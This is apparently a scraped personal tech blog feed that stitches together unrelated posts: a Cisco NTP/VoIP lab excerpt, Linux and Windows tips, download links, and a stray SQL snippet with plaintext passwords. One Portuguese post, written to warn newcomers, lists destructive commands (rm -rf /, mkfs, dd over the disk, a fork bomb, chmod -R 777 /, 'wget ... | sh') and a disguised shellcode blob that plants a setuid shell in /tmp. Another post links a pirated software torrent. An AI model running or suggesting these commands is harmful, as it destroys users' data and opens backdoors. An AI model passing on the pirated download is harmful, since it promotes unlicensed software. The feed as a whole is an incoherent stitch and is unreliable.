Set the time zones and clock on the NTP_Server router to match the VoIP router (as you did in Steps 1-2 and 1-3).

NTP_Server(config)# clock timezone timezone offset-from-GMT
NTP_Server(config)# clock summer-time zone recurring
NTP_Server# clock set hh:mm:ss day month year

Because you are configuring a “fake” NTP server, it is best to use a higher NTP stratum number to avoid conflicting with real NTP servers. Configure the NTP_Server router to be an NTP time source with the ntp master stratum number command.

NTP_Server(config)# ntp master 4

Configure the VoIP router to connect to the NTP_Server router.

RtrPodx(config)# interface fastethernet 0/1
RtrPodx(config-if)# ip address 192.168.0.2 255.255.255.0
RtrPodx(config-if)# no shutdown
RtrPodx(config-if)# exit
RtrPodx(config)# ntp server 192.168.0.1
RtrPodx(config)# end

Go to Step 1-5 to verify NTP operation.

Use the following commands to verify that NTP is working:

RtrPodx# show ntp status
RtrPodx# show ntp association
RtrPodx# show ntp association detail

In Examples 3-2a to 3-2g, the Pod 11 router is shown acquiring NTP time from another router. Your results will vary, but the descriptions will help you understand the various outputs you might see as the router uses NTP to synchronize.

The show ntp associations command output start with an “INIT” as the status, while theshow ntp associations detail command output shows the server as “insane, invalid, unsynced” and the filter error is 16 (showing no polling data).

RtrPod11# show ntp associations
  address         ref clock       st   when   poll reach  delay  offset   disp
 ~192.168.0.1     .INIT.          16      -     64     0  0.000   0.000 16000.
 * sys.peer, # selected, + candidate, - outlyer, x falseticker, ~ configured
RtrPod11# show ntp associations detail
192.168.0.1 configured, insane, invalid, unsynced, stratum 16
ref ID .INIT., time 00000000.00000000 (18:00:00.000 CDT Thu Dec 31 1899)
our mode client, peer mode unspec, our poll intvl 64, peer poll intvl 1024
root delay 0.00 msec, root disp 0.00, reach 0, sync dist 16.00
delay 0.00 msec, offset 0.0000 msec, dispersion 16000.00
precision 2**24, version 4
org time 00000000.00000000 (18:00:00.000 CDT Thu Dec 31 1899)
rec time 00000000.00000000 (18:00:00.000 CDT Thu Dec 31 1899)
xmt time 00000000.00000000 (18:00:00.000 CDT Thu Dec 31 1899)
filtdelay =     0.00    0.00     0.00    0.00    0.00    0.00    0.00    0.00
filtoffset =    0.00    0.00     0.00    0.00    0.00    0.00    0.00    0.00
filterror =    16.00   16.00    16.00   16.00   16.00   16.00   16.00   16.00
minpoll = 6, maxpoll = 10

After the INIT phase is done (which can take a minute), the router shows the difference between the NTP server time and the time on the router. The router is now establishing the variation in time between the received time and local time. At the point the incrementing “when” counter equals the “poll” number, the NTP server will be queried again.

RtrPod11# show ntp associations
  address         ref clock       st   when   poll reach  delay  offset   disp
 ~192.168.0.1     127.127.1.1     10     11     64     1  0.000 -348980 7937.5
 * sys.peer, # selected, + candidate, - outlyer, x falseticker, ~ configured
RtrPod11# show ntp associations
  address         ref clock       st   when   poll reach  delay  offset   disp
 ~192.168.0.1     127.127.1.1     10     44     64     1  0.000 -348980 7937.5
 * sys.peer, # selected, + candidate, - outlyer, x falseticker, ~ configured

In Example 3-2c, the router is 3,489.807 seconds off from the NTP server time. This phase will take several minutes.

RtrPod11# show ntp associations detail
192.168.0.1 configured, insane, invalid, stratum 10
ref ID 127.127.1.1   , time D22D35B2.32265329 (00:57:06.195 CDT Wed Sep 28 2011)
our mode client, peer mode server, our poll intvl 64, peer poll intvl 64
root delay 0.00 msec, root disp 0.30, reach 1, sync dist 7.94
delay 0.00 msec, offset -3489807.6733 msec, dispersion 7937.50
precision 2**24, version 4
org time D22D35B8.CB5A7071 (00:57:12.794 CDT Wed Sep 28 2011)
rec time D22D435A.9A57C7DE (01:55:22.602 CDT Wed Sep 28 2011)
xmt time D22D435A.99DE9D3F (01:55:22.601 CDT Wed Sep 28 2011)
filtdelay =     0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00
filtoffset = -3489.8    0.00    0.00    0.00    0.00    0.00    0.00    0.00
filterror =     0.00   16.00   16.00   16.00   16.00   16.00   16.00   16.00
minpoll = 6, maxpoll = 10

The next phase is to accept the time from the NTP server and establish the accuracy of the local clock. Notice that the router is just over 2 milliseconds off from the NTP server. The “filteroffset” and “filtererror” are now 0 for the first poll.

RtrPod11# show ntp associations detail
192.168.0.1 configured, insane, invalid, stratum 10
ref ID 127.127.1.1   , time D22D36A0.3225413B (01:01:04.195 CDT Wed Sep 28 2011)
our mode client, peer mode server, our poll intvl 64, peer poll intvl 64
root delay 0.00 msec, root disp 0.21, reach 1, sync dist 7.94
delay 0.00 msec, offset 2.2946 msec, dispersion 7937.50
precision 2**24, version 4
org time D22D36A0.CC349A2D (01:01:04.797 CDT Wed Sep 28 2011)
rec time D22D36A0.CBD66632 (01:01:04.796 CDT Wed Sep 28 2011)
xmt time D22D36A0.CB603CB8 (01:01:04.794 CDT Wed Sep 28 2011)
filtdelay =     0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00
filtoffset =    0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00
filterror =     0.00   16.00   16.00   16.00   16.00   16.00   16.00   16.00
minpoll = 6, maxpoll = 10

Every 64 seconds, the router polls the NTP server again. You can see the polls show up, as the “filtererror” is gradually set to 0 for each new poll.

RtrPod11# show ntp associations
192.168.0.1 configured, insane, invalid, stratum 10
ref ID 127.127.1.1   , time D22D36D2.32254796 (01:01:54.195 CDT Wed Sep 28 2011)
our mode client, peer mode server, our poll intvl 64, peer poll intvl 64
root delay 0.00 msec, root disp 0.44, reach 3, sync dist 3.94
delay 0.00 msec, offset 3.1598 msec, dispersion 3937.73
precision 2**24, version 4
org time D22D36DF.CC672189 (01:02:07.798 CDT Wed Sep 28 2011)
rec time D22D36DF.CBD02AD0 (01:02:07.796 CDT Wed Sep 28 2011)
xmt time D22D36DF.CB5A1A5B (01:02:07.794 CDT Wed Sep 28 2011)
filtdelay =     0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00
filtoffset =    0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00
filterror =     0.00    0.00   16.00   16.00   16.00   16.00   16.00   16.00
minpoll = 6, maxpoll = 10

After enough polls have been completed, the time on the router is NTP synchronized. Your router now considers the NTP server “our master, sane, and valid.”

RtrPod11# show ntp associations detail
192.168.0.1 configured, our_master, sane, valid, stratum 10                             
ref ID 127.127.1.1   , time D22D3756.32286702 (01:04:06.195 CDT Wed Sep 28 2011)
our mode client, peer mode server, our poll intvl 64, peer poll intvl 64
root delay 0.00 msec, root disp 0.39, reach 17, sync dist 0.94
delay 0.00 msec, offset 3.1598 msec, dispersion 939.24
precision 2**24, version 4
org time D22D3760.CCE2CF70 (01:04:16.800 CDT Wed Sep 28 2011)
rec time D22D3760.CBD604CE (01:04:16.796 CDT Wed Sep 28 2011)
xmt time D22D3760.CB5F51F8 (01:04:16.794 CDT Wed Sep 28 2011)
filtdelay =     0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00
filtoffset =    0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00
filterror =     0.00    0.00    0.00    0.00   16.00   16.00   16.00   16.00
minpoll = 6, maxpoll = 10

The asterisk (*) in front of the NTP server IP address shows that the server is synchronized. The show ntp status command also shows that the server is synchronized.

RtrPod11# show ntp associations
  address         ref clock       st   when   poll reach  delay  offset   disp
*~192.168.0.1     127.127.1.1     10     21     64   377  0.000  15.598  4.689
 * sys.peer, # selected, + candidate, - outlyer, x falseticker, ~ configured
RtrPod11# show ntp status
Clock is synchronized, stratum 11, reference is 192.168.0.1
nominal freq is 250.0000 Hz, actual freq is 249.9998 Hz, precision is 2**24
reference time is D22D3760.CBD604CE (01:04:16.796 CDT Wed Sep 28 2011)
clock offset is 0.0031 msec, root delay is 0.00 msec
root dispersion is 0.94 msec, peer dispersion is 0.44 msec
loopfilter state is 'CTRL' (Normal Controlled Loop), drift is 0.000000722 s/s
system poll interval is 64, last update was 99 sec ago.

For the sake of making sure that all networking devices are synchronized using NTP, the switch should use the router as an NTP source.

SwPodx(config)# clock timezone timezone offset-from-GMT
SwPodx(config)# clock summer-time zone recurring
SwPodx(config)# ntp server 10.x1.0.1

Save the configurations into a text file for both the router and switch. They will be needed for future labs.

Equipment Required

No equipment is required for this lab.

Learning Objectives

Upon completion of this lab, you will better understand the Cisco IP Phone boot and registration process.

The most important part of solving problems with VoIP solutions is knowing how a properly functioning system should work and comparing it to an existing problem. Cisco IP Phones have multiple steps to complete when connected to the network, and understanding the process from booting to registration will speed resolution of problems.

Question 3.1

List at least three ways that a Cisco IP Phone can receive power.

1.___________________________________________________________________________

2.___________________________________________________________________________

3.___________________________________________________________________________

Question 3.2

What two protocols can Cisco IP Phones use to register to the Call Agent (depending on the phone firmware loaded)?

1.___________________________________________________________________________

2.___________________________________________________________________________

Question 3.3

Number the following steps in the order they occur during the phone boot process:

___ The phone downloads the configuration file from the TFTP server.

___ The phone gets IP address information from DHCP, including option 150.

___ The phone registers with one or more Call Agents.

___ The phone receives power, which might involve receiving PoE from the switch.

___ The phone learns the VLAN information from CDP.

info copy by:CISCOPRESS

delciomz@hotmail.com (D.White) — Mon, 25 Jan 2016 08:46:00 +0200

http://muzofy.net/

delciomz@hotmail.com (D.White) — Mon, 25 Jan 2016 08:44:00 +0200

http://pt.savefrom.net/?rmode=false

delciomz@hotmail.com (D.White) — Tue, 11 Aug 2015 11:13:00 +0200

Ruckus Quick Train And Overview

http://www.demosondemand.com/DemoStage3/index.asp?sessID=RUCK001&promotion_id=2416&startTime=0

delciomz@hotmail.com (D.White) — Thu, 7 May 2015 19:56:00 +0200

Como podemos ouvir música pelo terminal no linux?

Dica: além do moc, existem outros programas muito bons, tais como o cmus, e o mp3blaster. - See more at: http://www.dltec.com.br/blog/linux/ouvir-musica-pelo-terminal-linux/#sthash.mTYyS2JP.dpuf

O primeiro passo é instalar o moc.

$sudo apt-get install moc

Após instalado o moc está pronto para uso. Para iniciar basta entrar com o comando mocp. Ao iniciar o moc, por padrão, ele irá abrir no seu diretório home. Mas é possível customizar algumas coisas…No meu caso eu gosto de deixar abrindo diretamente no meu diretório onde coloco meus arquivos de áudio. No final desse artigo darei umas dicas de como configurar o moc. Por hora, vamos abrir o moc.

$mocp

Aí basta escolher um diretório e colocar para tocar…

Se você pressionar a tecla “h” irá abrir o help. Abaixo os principais atalhos para o dia a dia.

DOWN – Mover para baixo

UP – Mover para cima

PAGE_DOWN – Mover uma página para baixo

PAGE_UP – Mover uma página para cima

HOME – Mover para o primeiro item no menu

END – Mover para último item no menu

Q – Sair

s – Parar

n – Tocar próximo arquivo

b – Tocar arquivo anterior

p – Pausar

f – Ler etiquetas

S – Modo aleatório

R – Modo repetição

X – Modo próximo arquivo automático

TAB – Alterar entre o menu arquivo e playlist

l – Alterar o layout

Conforme comentei é possível fazer várias customizações no moc. Para customizar o moc é bem simples, basta copiar o arquivo de configuração padrão para o diretório .moc em seu home e alterar duas linhas. Veja abaixo.

$ cd ~/.moc && cp /usr/share/doc/moc/examples/config.example.gz ./ && gunzip config.example.gz && mv config.example config

Por exemplo, para alterarmos o diretório padrão e deixar o moc abrindo esse diretório basta alterar o arquivo de configuração padrão como mostrado abaixo:

alexei@alexei-elementary:~/.moc$ ls
cache config last_directory pid socket2
alexei@alexei-elementary:~/.moc$ subl config

MusicDir = “/home/alexei/Music” (linha 67)

StartInMusicDir = yes (linha 175)

As imagens mostradas acima é do tema default do moc. No entanto, ele já vem com alguns outros temas instalados. Você pode verificar os temas existentes no diretório abaixo:

alexei@alexei-elementary:~/.moc$ ls /usr/share/moc/themes/
black_theme example_theme moca_theme red_theme yellow_red_theme
darkdot_theme green_theme nightly_theme transparent-background

Por exemplo, para carregar o moc com o tema transparent-background basta entrar com comando abaixo:

$ moc -T transparent-background

Ou se preferir deixe seu tema preferido configurado no arquivo de configuração.

XTermTheme = transparent-background (linha 203)

Vejam abaixo o moc com o tema transparente.

Bom pessoal, é isso aí. Eu fico por aqui com minha playlist do dia “Black Sabbath, Album de 1972″.

delciomz@hotmail.com (D.White) — Tue, 12 Nov 2013 20:26:00 +0200

Se for um novato na área do Linux, existe a possibilidade de alguma vez encontrar um utilizador menos bem intencionado num fórum de ajuda para Linux que lhe dê uma falsa ajuda passando-lhe comandos que você vai digitando sem saber para que servem, comandos esses que podem ser fatais para qualquer sistema.

A pensar nisso deixo aqui 7 comandos que podem acabar com a saúde de qualquer sistema.

1.
rm -rf /

Este comando irá eliminar recursivamente toda a informação do directório root.

2.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta é a forma encontrada para fazer o mesmo que o primeiro comando mas de uma forma mais discreta, até mesmo utilizadores mais ambientados a sistemas Linux podem não reconhecer o comando.
3.
mkfs.ext3 /dev/sda

Este comando irá reformatar ou eliminar toda a informação contida no dispositivo indicado após o comando mkfs.

4.
){ :& };:

Comando conhecido como “forkbomb”. Este comando indica ao sistema que execute o maior numero possível de processos até que o mesmo crash. Este comando pode causar danos ao corromper informação.

[ad#ad-2]

5.
chmod -R 777 /

Este comando dá a todos os utilizadores e ficheiros os privilégios de “Read, Write, Execute”. Somente os ficheiros em /bin e /etc/bin não sofrerão essa alteração por estarem a correr e não ser possível a alteração.

6.
wget http://um_codigo_fonte_malicioso -O- | sh

Este comando fará o download e executará um código malicioso na sua máquina, o que pode fazer estragos de todos os tipos.

7.
dd if=/dev/zero of=/dev/sda

Ao executar este comando o seu disco será formatado tal como veio de fábrica.

delciomz@hotmail.com (D.White) — Tue, 12 Nov 2013 20:18:00 +0200

The Run command in Windows is one of the most unused, yet powerful features (in terms of productivity) in the operating system.

It is accessible in one of two ways: through the start menu (Figure 1) and through the shortcut key Win+R. The dialog itself looks very unassuming, and quite user unfriendly if you ask me (Figure 2). Its main purpose, as you can see from the dialog information, is to open a program, folder, document, or Internet resource which Windows will then open.

Figure 1 - Run on the Start Menu

Figure 2 - The Run Dialog

Below are a list of commands you can type into the Run dialog:

Run Calculator	calc
Run Command Prompt	cmd
Run Firefox (if installed)	firefox
Run Internet Explorer	iexplore
Run Microsoft Word (if installed)	winword
Run Microsoft Excel (if installed)	excel
Run Microsoft Outlook (if installed)	outlook
Run Notepad	notepad
Run Wordpad	wordpad
Open Control Panel	control panel
Open Program Files folder	%programfiles%
Shutdown Windows	shutdown
Restart Windows	shutdown -r
Log Off Windows	logoff
Registry Editor	regedit
Task Manager	taskmgr
Windows Update Launches	wupdmgr

If you are like me, you will use a few programs very frequently. One way to make them start faster is to give them their own Run command:

Win+R to open the Run dialog
Enter %windir% to open the Windows directory
Alt+F W S to open the File menu, choose the New menu item, then the Shortcut menu item
Go through the wizard to create a shortcut to the desired program
The name you give the shortcut is what you type in the Run dialog to start the program

Below are a list of commands you can type into the Run dialog, split into several categories: programs, control panels, computer administration tools, and special folders.

Character Map	charmap
Check Disk Utility	chkdsk
Clipboard Viewer	clipbrd
Free Cell	freecell
Hearts Card	mshearts
Microsoft Chat	winchat
Minesweeper	winmine
On Screen Keyboard	osk
Remote Desktop	mstsc
Spider Solitare	spider
Telnet Client	telnet
Windows Magnifier	magnify

Accessibility Controls	access.cpl
Add Hardware Wizard	hdwwiz.cpl
Add/Remove Programs	appwiz.cpl
Administrative Tools	control admintools
Automatic Updates	wuaucpl.cpl
Date and Time	timedate.cpl
Display Properties	desk.cpl
Folders Properties	control folders
Fonts	control fonts
Fonts Folder	fonts
Game Controllers	joy.cpl
Internet Properties	inetcpl.cpl
Keyboard Properties	control keyboard
Mouse Properties	control mouse
Network Connections	control netconnections
Network Setup Wizard	netsetup.cpl
ODBC Data Source Administrator	odbccp32.cpl
Password Properties	password.cpl
Phone and Modem Options	telephon.cpl
Power Configuration	powercfg.cpl
Printers and Faxes	control printers
Printers Folder	printers
Regional Settings	intl.cpl
Scanners and Cameras	sticpl.cpl
Security Center	wscui.cpl
Sounds and Audio	mmsys.cpl
User Account Management	nusrmgr.cpl
Windows Firewall	firewall.cpl

Computer Management	compmgmt.msc
Device Manager	devmgmt.msc
Disk Cleanup Utility	cleanmgr
Disk Defragment	dfrg.msc
Disk Management	diskmgmt.msc
Disk Partition Manager	diskpart
Dr. Watson System Troubleshooting	drwtsn32
Driver Verifier Utility	verifier
Event Viewer	eventvwr.msc
Group Policy Editor (XP Prof)	gpedit.msc
Local Security Settings	secpol.msc
Local Users and Groups	lusrmgr.msc
Performance Monitor	perfmon
Resultant Set of Policy	rsop.msc
Scheduled Tasks	control schedtasks
Services	services.msc
Shared Folders	fsmgmt.msc
System Configuration Editor	sysedit
System Configuration Utility	msconfig
Utility Manager	utilman
Windows System Security Tool	syskey

Application Data Folder	%appdata%
Home Directory Drive	%homedrive%
Home Directory	%homepath%
Shared Home Directory	%homeshare%
Temporary Folder	%temp%
Windows Root Drive	%systemdrive%
Windows Root Directory	%windir%

For an even more exhaustive list, check out 156 Useful Run Commands.

One of the strengths of the Run command is its ability to do almost everything the command line can do. You should note, however, that if you're running a program that outputs something and exits, that the output will only show up for a few seconds and then disappear.

Take the ipconfig command for example. If you were to type that into Run, it would open a command prompt, run the ipconfig command, and then close because the command finished running! To fix this, type cmd into the Run dialog, and then type ipconfig into the command prompt.

delciomz@hotmail.com (D.White) — Wed, 24 Oct 2012 17:11:00 +0200

iCare Data Recovery Professional

What's Special - Free lifetime upgrade, dynamic disk recovery

Besides all the basic functions, the professional edition adds on new features like free upgrading supported if new version released. It is especially useful when your computer encounters system/disk crashes and you need to reinstall iCare Data Recovery. And it could efficiently retrieve lost files from dynamic disk.

What's more? It could recover files from formatted drive, RAW file system, drive has not formatted error, RAW drive, undelete files emptied recycle bin, recover files due to partition lost, system crash, software crash, bad boot sector, missing boot sector, bad MBR, $MFT damaged, lost partition table, lost or damaged FAT, virus infections, power failure, and other unknown data loss...

iCare Data Recovery Professional works perfectly with hardware RAID and hard drive, USB drive, SD card, memory card, etc. It provides the comprehensive data recovery solution for computer users.

Key Features of iCare Data Recovery Professional

Recover files from formatted partition, memory card, external drive, USB drive, sd card...
Recover 2TB disk
drive not formatted error and report RAW file system
Recover MAC files on Windows
Free lifetime upgrade once new edition released
Recover data when lost due to resize partition, merge partition, copy partition failure by PartitionMagic, Partition Manager...
It could restore photos, office files, zip files, rar files, emails, pdf files, etc.
Reformatted sd card, xd card, cf card, pen stick, memory card...
System cannot boot, cannot locate the boot partition, I/O error
external drive, memory card, cf card cannot be detected or recognized...
Virus attack and lost files
Bad boot sector, bad partition table, damaged FAT, lost File Allocation Table...
Recover files from FAT, NTFS partitions
Recover files from devices with unknown file systems including Hard Disk, external ZIP/USB drive, removable SmartMedia, MemoryStick, SD cards, etc.
Partition structures are damaged or deleted...
Supported OS:

Windows 7, Vista, XP, 2000 pro, Server 2008, 2003, 2000 compatible

Homepage: http://www.icare-recovery.com/data-recovery-professional.html

Installation Instructions:

1. Install Program.
2. Use given serial to register application.
3. Done, Enjoy.

Torrent download: http://thepiratebay.se/torrent/7643390/iCare_Data_Recovery_Professional_v5.0_with_Key_[iahq76]

delciomz@hotmail.com (D.White) — Wed, 24 Oct 2012 08:48:00 +0200

Foi lançado nesta terça o Precise Puppy 5.4, usando a base do Ubuntu Precise Pangolin 12.04.1. O sistema é compatível com pacotes deb para o Ubuntu 12.04, permitindo rodar diversos programas nele - muito melhor do que as primeiras versões do Puppy, onde a instalação de outros aplicativos podia ser mais complicada.

A versão de número 5.4 é apenas uma distinção da distro, já que há versões do Puppy com as mais diferentes bases. A edição Wary 5.3 foi baseada em pacotes do Slackware. Esta 5.4 é baseada no Ubuntu 12.04, que não é o mais recente (o 12.10 foi lançado há poucos dias) mas tem muitos pacotes compatíveis.

Diversas coisas foram atualizadas no sistema, especialmente o Puppy Package Manager (PPM) e as ferramentas de configuração. As notas de lançamento trazem os detalhes.

A imagem ISO do sistema tem apenas 157,5 MB. Não é tão pequena como o SliTaz ou TinyCore, mas ainda assim nem se compara com as ISOs tradicionais de 700 MB ou mais.

O sistema normalmente é tido como leve, mas não é necessariamente uma alternativa para PCs muito antigos, pelo menos não nesta versão. O kernel incluso é o 3.2.29 com suporte a PAE (para acesso a mais de 4 GB num sistema de 32-bit), exigindo também pelo menos um processador i686. Apesar de rodar na maioria dos processadores i686, em geral os Pentium M ficam de fora pela falta do suporte a PAE. Uma versão sem suporte a PAE deverá ser publicada em breve.

download: http://bkhome.org/blog/?viewDetailed=03063

delciomz@hotmail.com (D.White) — Tue, 23 Oct 2012 10:04:00 +0200

Windows XP SP2 tem problemas ao tentar negociar o certificado de segurança. Para corrigir isso, permitindo WPA e WPA2 suporte à criptografia no Windows XP sem fio na Directiva de Grupo (WGP) nós precisamos instalar KB917021 actualização da Microsoft.

Att:

Escolher a linguagem do OS

Download: http://www.microsoft.com/en-us/download/details.aspx?id=24561

delciomz@hotmail.com (D.White) — Wed, 9 Nov 2011 15:58:00 +0200

Conquistar a supremacia na política mundial é o objetivo desta nova sequência de uma das séries mais aguardadas entre os jogos de estratégia. Command & Conquer Red Alert 2 é um jogo em que a inteligência é o fator que define o destino deste mundo virtual. O novo título oferece uma significativa redução de controles, permitindo que o jogador possa curtir a realidade dos gráficos, seja nas batalhas à luz do sol ou mesmo nas surpresas que o inimigo prepara para a escuridão.

Requisitos Mínimos:

Processador: Pentium 266 MHz ou Athlon equivalente

Velocidade do processador: 266 MHz

Memória RAM: 64 MB

Memória de vídeo: 2 MB

Servidor: Multiupload

http://www.multiupload.com/C0GDMBY4LX

delciomz@hotmail.com (D.White) — Wed, 28 Sep 2011 13:23:00 +0200

O Windows depende de uma quantidade de arquivos para manter um bom funcionamento por ser um sistema operacional relativamente grande. Como a grande parcela dos usuários não entende de computação, a Microsoft adicionou um recurso simples, mas eficiente, de ocultar os arquivos fundamentais para o Windows não sejam deletados acidentalmente.

Entretanto, nem todos os arquivos podem ser confiáveis. Sabemos muito bem que a Internet é um espaço repleto de pessoas mal-intencionadas, com objetivo de criar programas para obter suas informações pessoais ou simplesmente para danificar seu computador.

Com a evolução dos antivírus e outros softwares especializados em capturar outras ameaças, os vírus estão se aprimorando para conseguirem se infiltrar no sistema, formando-se um ciclo vicioso. Por exemplo, alguns vírus escondem-se na forma de um arquivo oculto para não ser detectado.

Revelando um vírus oculto

USB Show é mais focado em encontrar todos os arquivos ocultos em pen drives e discos externos, mas também pode ser usado para verificar seu computador por completo.

Para isso, basta seguir um único passo: você clica em “Recovery the hide files” — ou “Recuperar archivos ocultos” para quem optou pela versão em espanhol — e seleciona a pasta ou disco para buscar os arquivos escondidos. Depois de concluída a verificação do disco, faça a varredura com o antivírus no local.

Tenha cuidado em não deletar os arquivos exibidos após o USB Show ter analisado o computador, porque ele mostra até mesmo pastas importantes para o sistema. Além do mais, é possível que não haja nenhum vírus, por isso, espere o resultado do antivírus e apague apenas o que for, de fato, algo que vá infecctar o disco.

http://ldc.mx/get.php?des=usbshow

delciomz@hotmail.com (D.White) — Tue, 27 Sep 2011 16:26:00 +0200

A versão Fenix Extreme 3.0 tem como maior diferencial das versões anteriores a interface que é mais bonita e agradável utilizando KDE4, baseada em Debian squeeze e com atualizador, a versão é livre para download porém é necessario ser ativada, após 5 inicilizações é necessário inserir o código de registro para continuar utilizando para que a equipe Fenix possa oferecer um suporte de qualidade aos clientes cadastrados

Para versão 3.0 foi elaborado um painel de controle simples e dividido em categorias por abas para fácil acesso, com opções de suporte possibilitando abrir chamados em nosso site, acesso ao chat do fenix e também receber suporte através de acesso remoto.

continue lendo no: http://www.sistemafenix.com.br/index.php?system=news&news_id=44&action=read

Tamanho: 4.120 GB

Download:

http://fenixlinux.com.br/isos/Fenix3.0-180b.iso

Multiupload:

brevemente...

delciomz@hotmail.com (D.White) — Wed, 21 Sep 2011 15:05:00 +0200

delciomz@hotmail.com (D.White) — Fri, 22 Jul 2011 11:14:00 +0200

The development team of Wine has released the new version 1.3.8 of the famous non-profit emulator to run Windows programs on Linux. Some major bugs are fixed, translations updates now work and improved look makes Wine 1.3.8 an essential installation.

Icons are added in the “open with” menus
Manual pages for all installed binaries
Support for schemas in MSXML
Many installer problems are fixes
Translation updates
Various bug fixes

To install or upgrade Wine 1.3.8 on Ubuntu 10.10 Maverick, Open the terminal and type:

sudo add-apt-repository ppa:ubuntu-wine/ppa

```
sudo apt-get update 
```
```
sudo apt-get install wine1.3
```

CREATE DATABASE radius;

CREATE DATABASE conntrack;

CREATE USER 'radius'@'localhost’ IDENTIFIED BY 'radius123';

CREATE USER 'conntrack'@'localhost' IDENTIFIED BY 'conn123'; GRANT ALL ON radius.* TO radius@localhost;

GRANT ALL ON conntrack.* TO conntrack@localhost;